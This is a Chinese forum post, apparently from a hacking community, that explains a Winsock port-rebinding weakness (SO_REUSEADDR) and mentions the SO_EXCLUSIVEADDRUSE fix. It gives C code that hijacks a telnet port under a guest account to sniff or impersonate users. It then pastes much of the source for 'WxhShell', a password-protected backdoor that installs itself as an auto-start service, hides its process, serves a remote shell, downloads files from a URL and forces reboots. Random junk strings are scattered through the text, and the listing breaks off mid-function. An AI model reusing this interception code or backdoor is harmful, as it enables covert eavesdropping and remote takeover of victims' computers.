社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13583阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C(KV5c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !0Ak)Q]e'  
a_DK"8I  
  saddr.sin_family = AF_INET; `sv]/8RN  
ZXbq5p_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b+dmJ]c  
HR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h9nh9a(2  
hA`9[58/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gxVJH'[V5  
0N6 X;M{zh  
  这意味着什么?意味着可以进行如下的攻击: wSALK)T1{  
SM<qb0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;ae6h [  
Kr4%D*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  ?f5||^7  
(f* r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vrp]YR L`  
7 lq$PsC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J|z' <W  
?Qpi(Czbpq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %yR 80mn8  
YR)^F|G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :X1Y  
#TgP:t]p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +\vN#xDz  
cvpZF5mL]U  
  #include Sx_j`Cgy  
  #include n@oSLo`k,`  
  #include  |>Pv2  
  #include    %P *b&H^0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *@YQr]~ ;  
  int main() 6iEA._y  
  { {PL,3EBG  
  WORD wVersionRequested; y}W*P#BDO  
  DWORD ret; B]>rcjD  
  WSADATA wsaData; Xs2B:`,hh  
  BOOL val; nF 'U*  
  SOCKADDR_IN saddr; :mdoGb$ dr  
  SOCKADDR_IN scaddr; V* ,u;*  
  int err; EYZ,GT-I  
  SOCKET s; \qJ^n %  
  SOCKET sc; I(9+F  
  int caddsize; ^w*vux|F  
  HANDLE mt; 8nSw7:z  
  DWORD tid;   2%pe.s tQ  
  wVersionRequested = MAKEWORD( 2, 2 ); `ih#>i_ &  
  err = WSAStartup( wVersionRequested, &wsaData ); %nkbQ2^  
  if ( err != 0 ) { A.!3{pAb  
  printf("error!WSAStartup failed!\n"); n8&x=Z}Xs  
  return -1; ~}G#ys\1  
  } s6oIj$  
  saddr.sin_family = AF_INET; 368H6 Jj  
   Bf,}mCq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gdqED}v  
t.7_7`bin~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $bk_%R}s  
  saddr.sin_port = htons(23); A&Q!W)=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r"lh\C|  
  { &{x`K4N  
  printf("error!socket failed!\n"); Wk/Il^YG  
  return -1; ?&b"/sRS  
  } z)*\njYe  
  val = TRUE; ZB,UQ~!Yr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KeC&a=HL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YgkQF0+  
  { {5T:7*J  
  printf("error!setsockopt failed!\n"); w6l56 CB`  
  return -1; W6yz/{Rf  
  } &KeD{M%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ZD8E+]+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b$B-LvHd1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B=i%Z _r]w  
MV?sr[V-oP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +AOpB L'  
  { #@L<<Q8}  
  ret=GetLastError(); t`x_@pr  
  printf("error!bind failed!\n"); \&s$?r  
  return -1; GS!1K(7  
  } mgBxcmv  
  listen(s,2); 0MOn>76$N  
  while(1) 9sB LCZ  
  { vLcOZ^iK  
  caddsize = sizeof(scaddr); [\"<=lb`  
  //接受连接请求 gL wNHS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h)?Km{u%  
  if(sc!=INVALID_SOCKET) j1dz'G}hj  
  { w8-L2)Q}I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i,$n4  
  if(mt==NULL) /oU$TaB>(  
  { *zDL 5 9  
  printf("Thread Creat Failed!\n"); JjQTD-^  
  break; K`cy97  
  } V8z*mnD  
  } {?uswbk.  
  CloseHandle(mt); ^}hSsE  
  } x1QL!MB  
  closesocket(s); Dzw>[   
  WSACleanup(); ?D=%k8)Y  
  return 0; d%ncI0f`  
  }   n,|YJ,v[  
  DWORD WINAPI ClientThread(LPVOID lpParam) /_/Z/D!  
  { Hd~fSXFl  
  SOCKET ss = (SOCKET)lpParam; ']vMOGG  
  SOCKET sc; d|$-l:(J  
  unsigned char buf[4096]; +PHuQ  
  SOCKADDR_IN saddr; _dn*H-5hO  
  long num; boIFN;Aq"  
  DWORD val; i&,1  
  DWORD ret; z~yLc{M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZF;s`K)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (FNX>2Mv  
  saddr.sin_family = AF_INET; N_y#Y{c{(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (7}Zh|@W  
  saddr.sin_port = htons(23); `qr.@0whP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lJBZ0  
  { g+u5u\k  
  printf("error!socket failed!\n"); KU;m.{  
  return -1; M0uC0\' #P  
  } ~RnBs`&!  
  val = 100; ~ouRDO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lKy4Nry9  
  { U{-[lpd  
  ret = GetLastError(); N'0fB`:kz  
  return -1; 8B7,qxZ  
  } V4x6,*)e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *|/kKvN  
  { _zFJ]7Ym.)  
  ret = GetLastError(); OMN|ea.O  
  return -1; 5~SBZYI  
  } %967#XI[y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Kr;F4G|Qt  
  { aW$))J)0  
  printf("error!socket connect failed!\n"); ~=pyA#VVJ"  
  closesocket(sc); Bd*\|M  
  closesocket(ss); m:5bb 3  
  return -1; L"V~M F  
  } x9H qc9q  
  while(1) Gjf1Ba  
  { uWerC?da  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,koG*sn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bn"z&g   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~1.~4~um  
  num = recv(ss,buf,4096,0); IHf#P5y_  
  if(num>0) <x1H:8A  
  send(sc,buf,num,0); $*dY f  
  else if(num==0) gd\b]L?>O  
  break; m_>~e}2'A  
  num = recv(sc,buf,4096,0); B7BikxUa  
  if(num>0) Ty"=3AvRLV  
  send(ss,buf,num,0); 1 ,4V8gp  
  else if(num==0) 3O'X;s2\d  
  break; U7Pn $l2!  
  } -*&C "%e  
  closesocket(ss); N!=Q]\ZD  
  closesocket(sc); -;o`(3wZq  
  return 0 ; b 'yW+  
  } i]n ?zWo_h  
fsVr<m  
u&ozc  
========================================================== 2HJGp+H  
0i9C\'W`  
下边附上一个代码,,WXhSHELL 7)+%;|~  
}WG -R  
========================================================== z`rW2UO#a`  
Pr^p ^s  
#include "stdafx.h" ~m@w p  
 .)XJ-  
#include <stdio.h> s$;IR c5!6  
#include <string.h> aQhr$aH  
#include <windows.h> rlVo}kc7:  
#include <winsock2.h> i"C?6R  
#include <winsvc.h> ^Dhu8C(  
#include <urlmon.h> r=pb7=M#LN  
vE+OL8V  
#pragma comment (lib, "Ws2_32.lib") "J6 aU  
#pragma comment (lib, "urlmon.lib") 834dsl+U  
{uMqd-Uu  
#define MAX_USER   100 // 最大客户端连接数 FUU/=)^P$  
#define BUF_SOCK   200 // sock buffer J*CfG;Y:  
#define KEY_BUFF   255 // 输入 buffer 5mYI5~ p  
I`}<1~ue  
#define REBOOT     0   // 重启 Qz?r4kR  
#define SHUTDOWN   1   // 关机 4'-GcH  
HxH=~B1"P  
#define DEF_PORT   5000 // 监听端口 s_N]$3'[E  
T~'9p`IW  
#define REG_LEN     16   // 注册表键长度 vdN0YCXG  
#define SVC_LEN     80   // NT服务名长度 wC[Bh^]  
hFWK^]~ a  
// 从dll定义API ;P4tqY@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N8:&v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )IP{yL8c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *Ad7GG1/u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yS:1F PA$_  
2Md'<.  
// wxhshell配置信息 XZ8;Ow=  
struct WSCFG { mh8~w~/[  
  int ws_port;         // 监听端口 tpi>$:e  
  char ws_passstr[REG_LEN]; // 口令 |K6hY-uC  
  int ws_autoins;       // 安装标记, 1=yes 0=no !56gJJ-r  
  char ws_regname[REG_LEN]; // 注册表键名 -'!%\E;5  
  char ws_svcname[REG_LEN]; // 服务名 U1^R+ *yp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `L=$ ,7`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R7 *ek_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Li;(~_62a]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i\?P>:)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p;rG aLo:u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [#R<Z+c  
%L9A6%gr  
}; : Gz#4k  
zl !`*{T{  
// default Wxhshell configuration ly] n2RK  
struct WSCFG wscfg={DEF_PORT, ;hLne0|)}  
    "xuhuanlingzhe", [oQ&}3\XJ  
    1, nC5  
    "Wxhshell", ;|LS$O1c  
    "Wxhshell", $yx34=  
            "WxhShell Service", mJ|7Jc  
    "Wrsky Windows CmdShell Service", H19CVc\B  
    "Please Input Your Password: ", k98}Jx7J)"  
  1, Ng} AEAFp  
  "http://www.wrsky.com/wxhshell.exe", "HQH]?!k  
  "Wxhshell.exe" E*Q><UU  
    }; zoV-@<Eh  
L. xzI-I@D  
// 消息定义模块 SAEr$F^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,e ~@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yv<0fQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  o2ndnIL  
char *msg_ws_ext="\n\rExit."; i%~4>k  
char *msg_ws_end="\n\rQuit."; :>[;XT<  
char *msg_ws_boot="\n\rReboot..."; !Fz9\|  
char *msg_ws_poff="\n\rShutdown..."; tU%-tlU9?  
char *msg_ws_down="\n\rSave to "; \8!&X cA  
[lC*|4t&  
char *msg_ws_err="\n\rErr!"; fodr1M4J  
char *msg_ws_ok="\n\rOK!"; f#p.=F$  
M9@#W"  
char ExeFile[MAX_PATH]; M#qZ0JT4  
int nUser = 0; nD+vMG1~w  
HANDLE handles[MAX_USER]; ^J>jU`)CJ  
int OsIsNt; I^{PnrB  
p5~;8Q7  
SERVICE_STATUS       serviceStatus; 7 '@l?u/6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1lNg} !)[K  
9 0[gXj  
// 函数声明 (r^IW{IndX  
int Install(void);  /y,~?  
int Uninstall(void); t _Q/v  
int DownloadFile(char *sURL, SOCKET wsh); x=qACoq  
int Boot(int flag); rY>{L6d  
void HideProc(void); %Ya-;&;`  
int GetOsVer(void); t$=0  C  
int Wxhshell(SOCKET wsl); m//(1hWv7  
void TalkWithClient(void *cs); VB 8t"5  
int CmdShell(SOCKET sock); OX ?9 3AlG  
int StartFromService(void); >29eu^~nh  
int StartWxhshell(LPSTR lpCmdLine); >=2nAv/(  
J|Lk::Ri  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x c-=;|s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 56o?=|  
m)q;eQs  
// 数据结构和表定义 (iK0T.  
SERVICE_TABLE_ENTRY DispatchTable[] = sDCa&"6+@  
{ t?v0ylN  
{wscfg.ws_svcname, NTServiceMain}, (*%+!PS  
{NULL, NULL} u+zq:2)H6  
}; [pmZ0/l  
P,O9On  
// 自我安装 zk4yh%Cd_  
int Install(void) HFx8v!^5N  
{ '8>#`Yba  
  char svExeFile[MAX_PATH]; UG+wRX :dA  
  HKEY key; mV;Egm{A\  
  strcpy(svExeFile,ExeFile); S{z%Q  
(0"9562  
// 如果是win9x系统,修改注册表设为自启动 #4''Cs  
if(!OsIsNt) { WW;S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XTyn[n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8*)zoT*A  
  RegCloseKey(key); $Tq-<FbM)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2&]UFg:8Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EG0NikT?  
  RegCloseKey(key); / GJ"##<  
  return 0; j*$GP'Df3  
    } {P(Z{9u%  
  } 3u7E?*{sH  
} QHsS|\u  
else { jjz<V(Sk  
"31GC7  
// 如果是NT以上系统,安装为系统服务 mYb8   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0ldde&!p  
if (schSCManager!=0) ~?6V-m{>#  
{ `a2Oj@jP  
  SC_HANDLE schService = CreateService C>@~W(IE  
  ( g=[ F W@z  
  schSCManager, sj`9O-?49  
  wscfg.ws_svcname, \x x<\8Qr_  
  wscfg.ws_svcdisp, 5D]%E?ag  
  SERVICE_ALL_ACCESS, G_[|N>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *Yvfp{B  
  SERVICE_AUTO_START, X?Omk, '  
  SERVICE_ERROR_NORMAL, FWdSpaas Q  
  svExeFile, ZH`6>:  
  NULL, TRAs5I%  
  NULL, S53 [Ja  
  NULL, CQ"IL;y  
  NULL, GwwxSB&y  
  NULL 4I^6[{_  
  ); _e8@y{/~Fd  
  if (schService!=0) ?Yg K]IxD  
  { 4\2p8__  
  CloseServiceHandle(schService); \Ul*Nsw  
  CloseServiceHandle(schSCManager); akBR"y:~:H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rEdr8qw  
  strcat(svExeFile,wscfg.ws_svcname); r em&F'x0V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *u7C){)gr[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p0$K.f| ^  
  RegCloseKey(key); B {/Pv0y   
  return 0; R`ZU'|  
    } .K}u`v T  
  } R.|fc5_"+  
  CloseServiceHandle(schSCManager); g;v{JB  
} DD|%F  
} F>n<;<  
,Xk8{ =  
return 1; xHykU;p@  
} .m/Lon E  
0'BR Sa<  
// 自我卸载 2{XQDOyA  
int Uninstall(void) U`<EpO{j|  
{ G ~a/g6M4  
  HKEY key; yKOf]m>#  
5&2=;?EO  
if(!OsIsNt) { `W?aq]4x5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '/;#{("  
  RegDeleteValue(key,wscfg.ws_regname); *-_` xe  
  RegCloseKey(key); ):LJ {.0R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IDE@{Dy  
  RegDeleteValue(key,wscfg.ws_regname); #B`"B  
  RegCloseKey(key); ?*,N ?s(U  
  return 0; AUS?P t[w  
  } N.xmHvPk  
}  wx o(  
} w:'$Uf8]  
else { s.C-II?e  
fBD5K3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yql+N[  
if (schSCManager!=0) og. dYs7W4  
{ Zf]d'oW{/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TDtk'=;  
  if (schService!=0) z ;y2 2  
  { MZ+8wr/y  
  if(DeleteService(schService)!=0) { c !P9`l~MQ  
  CloseServiceHandle(schService); 3Eiy/  
  CloseServiceHandle(schSCManager); ?)4|WN|c_  
  return 0; "Oh-`C  
  } $CL=M  
  CloseServiceHandle(schService); Yq`r>g  
  } wc~a}0uz  
  CloseServiceHandle(schSCManager); I.y|AQB  
} e#kPf 'gL  
} E;VW6[M  
]4uIb+(S  
return 1; rI; e!EW  
} vh?({A#>.E  
}6C&N8 f  
// 从指定url下载文件 ?h K+h.{  
int DownloadFile(char *sURL, SOCKET wsh) \^N9Q9{7]  
{ 6=A ++H @  
  HRESULT hr; rx_'(  
char seps[]= "/"; N[aK#o,  
char *token; {x2N~1!E  
char *file; [_-CO }>  
char myURL[MAX_PATH]; vj?9X5A_  
char myFILE[MAX_PATH]; HEjV7g0E  
D\j1`  
strcpy(myURL,sURL); -U%wLkf|  
  token=strtok(myURL,seps); G:u[Lk#6K  
  while(token!=NULL) /d'^ XYOC  
  { ,W*<e-  
    file=token; ,589/xTA@  
  token=strtok(NULL,seps); z56W5g2  
  } *tz"T-6O  
'OBA nE<.  
GetCurrentDirectory(MAX_PATH,myFILE); K{M_ 4'\  
strcat(myFILE, "\\"); @] )a  
strcat(myFILE, file); "-v9V7KCM  
  send(wsh,myFILE,strlen(myFILE),0); g"# R>&P  
send(wsh,"...",3,0); )F4er '  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .t"s>jq 1  
  if(hr==S_OK) 'cH),~ z  
return 0; vx!nC}f"k`  
else &z1r$X.AW  
return 1; !c(B^E  
7:M%w'oR  
} qx0J}6+NlU  
0Lc X7gU>  
// 系统电源模块 kz,Nz09}W  
int Boot(int flag) Sm+Ek@Ax  
{ lmr {Ib2a  
  HANDLE hToken; Y&'2/zI6~  
  TOKEN_PRIVILEGES tkp; Q9%N>h9  
VD36ce9  
  if(OsIsNt) { _e~EQ[,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <0R?#^XBZB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u^ngD64  
    tkp.PrivilegeCount = 1; : ]CZS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xg,E;LSF8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >L&>B5)9  
if(flag==REBOOT) { 7F|T5[*l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0p Lb<&  
  return 0; #Y`U8n2F  
} tTWYlbDFN  
else { VEb}KFyP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CCl*v  
  return 0; t&0n"4$d'  
} A[oi?.D  
  } 5f}63as  
  else { 3.R?=npA  
if(flag==REBOOT) { 4~G9._  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z"e|DP`  
  return 0; >-y'N.l^  
} I!# 42~\  
else { Gt6$@ji4u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V-7!)&q  
  return 0; oxcAKo  
} J]N-^ld\\  
} 4!/{CGP  
A`X$jpAn&  
return 1; h"wXmAf4%  
} P_&2HA,I  
?"qU.}kGL  
// win9x进程隐藏模块 6wnfAli.  
void HideProc(void) KS(s<ip|  
{ {CQA@p:Y}  
lQ! 6n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !u\X,.h  
  if ( hKernel != NULL ) n~K_|  
  { s=U_tfpH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZL1[Khr,s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lXv{+ic  
    FreeLibrary(hKernel); "V?U^L>SF  
  } \i`/k(  
E8FS jLZ  
return; (F$q|qZ%  
} {:{NK%  
eT}c_h)  
// 获取操作系统版本 JRU)AMMU&  
int GetOsVer(void) tOp>O oD  
{ <5C3c&sds  
  OSVERSIONINFO winfo; 4\Q ?4ZX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nz5gu.a6{L  
  GetVersionEx(&winfo); IU Dp5MIuR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XL} oYL]}&  
  return 1; =GnDiI  
  else q1NAKcA<U  
  return 0; &:'Uh W-t  
} \ J9@p  
oEKLuy  
// 客户端句柄模块 sbkWJy  
int Wxhshell(SOCKET wsl) &*MwKr<y  
{ a#j0N5<Nl  
  SOCKET wsh; 7c+TS--  
  struct sockaddr_in client; ";s?#c  
  DWORD myID; <K4'|HU/  
@uT\.W:Q2  
  while(nUser<MAX_USER) E(TL+o  
{ 193Q  
  int nSize=sizeof(client); nJ'O(Wh,)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 10}\7p8  
  if(wsh==INVALID_SOCKET) return 1; XQlK}AK  
aSKI %<?xN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mNcTO0p&  
if(handles[nUser]==0) J qjb@'i  
  closesocket(wsh); j<wg>O:s%r  
else ` [@ F3x  
  nUser++; ur*1I/v  
  } jk 9K>4W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B{c,/{=O  
3{]i|1&j  
  return 0; `4w0 *;k;  
} #/5jWH7U  
I^\YD9~=x  
// 关闭 socket ] hL 1qS  
void CloseIt(SOCKET wsh) "'II~/9  
{ \f@PEiARG7  
closesocket(wsh); -i?!em'J  
nUser--; SaQ_%-&#p  
ExitThread(0); oACuI|b  
} JBi<TDm/  
,$W7Q  
// 客户端请求句柄 )Hl;9  
void TalkWithClient(void *cs) hD # Yz<  
{ <E$5LP;:  
>8>`-  
  SOCKET wsh=(SOCKET)cs; +a"A svw2  
  char pwd[SVC_LEN]; EiIbp4*e  
  char cmd[KEY_BUFF]; Xm\tyLY  
char chr[1]; 7(Y!w8q&^  
int i,j; {gK i15t  
M/ R#f9W  
  while (nUser < MAX_USER) { X#gZgz ='  
h_x"/z&  
if(wscfg.ws_passstr) { tY%c-m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zOWbdd_zl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qK;n>BTe  
  //ZeroMemory(pwd,KEY_BUFF); F~{yqY5]n  
      i=0; }_gCWz-5?  
  while(i<SVC_LEN) { a|T P2m  
A&F@+X6@  
  // 设置超时 +a nNpy  
  fd_set FdRead; &7|=8Z[o  
  struct timeval TimeOut; sT'wps2  
  FD_ZERO(&FdRead); jyLpe2 S  
  FD_SET(wsh,&FdRead); r`B8Cik  
  TimeOut.tv_sec=8; Vk@u|6U'  
  TimeOut.tv_usec=0; rc 9 \  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8Z FPs/HP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /Q})%j1S0  
O2ety2}?f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4N*Fq!k~  
  pwd=chr[0]; l|U=(aA]h  
  if(chr[0]==0xd || chr[0]==0xa) { 3DMfR ofg  
  pwd=0; VX2bC(E'%  
  break; vr=iG xD  
  } 7GWPsaPn  
  i++; IkL|bV3E0  
    } O^F%ssF8  
AEOo]b*&d  
  // 如果是非法用户,关闭 socket Aj SIM.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~*THL0]~  
} ,? <jue/bd  
OUnt?[U\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o&fAnpia=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 76mQ$ze  
{C|#<}1  
while(1) { ZMy7z|  
z Sj.Y{J  
  ZeroMemory(cmd,KEY_BUFF); nWmc  
tjuW+5O  
      // 自动支持客户端 telnet标准   !$qNugLg  
  j=0; p,$1%/m  
  while(j<KEY_BUFF) { {cq; SH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :$dGcX}  
  cmd[j]=chr[0]; E3_EXz9 h  
  if(chr[0]==0xa || chr[0]==0xd) { j?[fpN$  
  cmd[j]=0; -Ufd+(   
  break; KX[_eO L  
  } \SA5@.W  
  j++; T_y 'cvh  
    } Yf7n0Etd,  
W^60BZ  
  // 下载文件 bX=ht^e [  
  if(strstr(cmd,"http://")) { dxUq5`#G,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %* vYX0W"  
  if(DownloadFile(cmd,wsh)) DIkD6n?V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (ZT*EFhb(  
  else ;BejFcb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \*v}IO>2})  
  } 3)EslBA7i  
  else { ~}$:iyJV(>  
K>w}(td  
    switch(cmd[0]) { +m Mn1&  
  2JUX29rER  
  // 帮助 ;)u}`4~L  
  case '?': { UVxE~801Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m:/nw,  
    break; It(8s)5  
  } )PB&w%J  
  // 安装 {KdC5 1"Nv  
  case 'i': { 4/~8zvz&3  
    if(Install()) s7D_fv4e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0F0V JE  
    else 8Rc4+g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FWq 6e,  
    break; 0r_8/|N#  
    } /^P^K  
  // 卸载 ;!Ojb  
  case 'r': { T,`'qZ>  
    if(Uninstall()) MDGcK/$')f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); --Dw8FR9  
    else 0A9x9l9Wd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "n7rbh3VW  
    break; OzX\ s=  
    } `P)1RTVx  
  // 显示 wxhshell 所在路径 w`c9_V  
  case 'p': { p! zC  
    char svExeFile[MAX_PATH]; D$YAi%*H  
    strcpy(svExeFile,"\n\r"); HC?yodp^  
      strcat(svExeFile,ExeFile); h 34|v=8d  
        send(wsh,svExeFile,strlen(svExeFile),0); /-8v]nRB  
    break; DN&ZRA  
    } 5R{ {FD`h  
  // 重启 >Y1?`  
  case 'b': { 7h&$^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 818</b<yn  
    if(Boot(REBOOT)) )j',e $m  
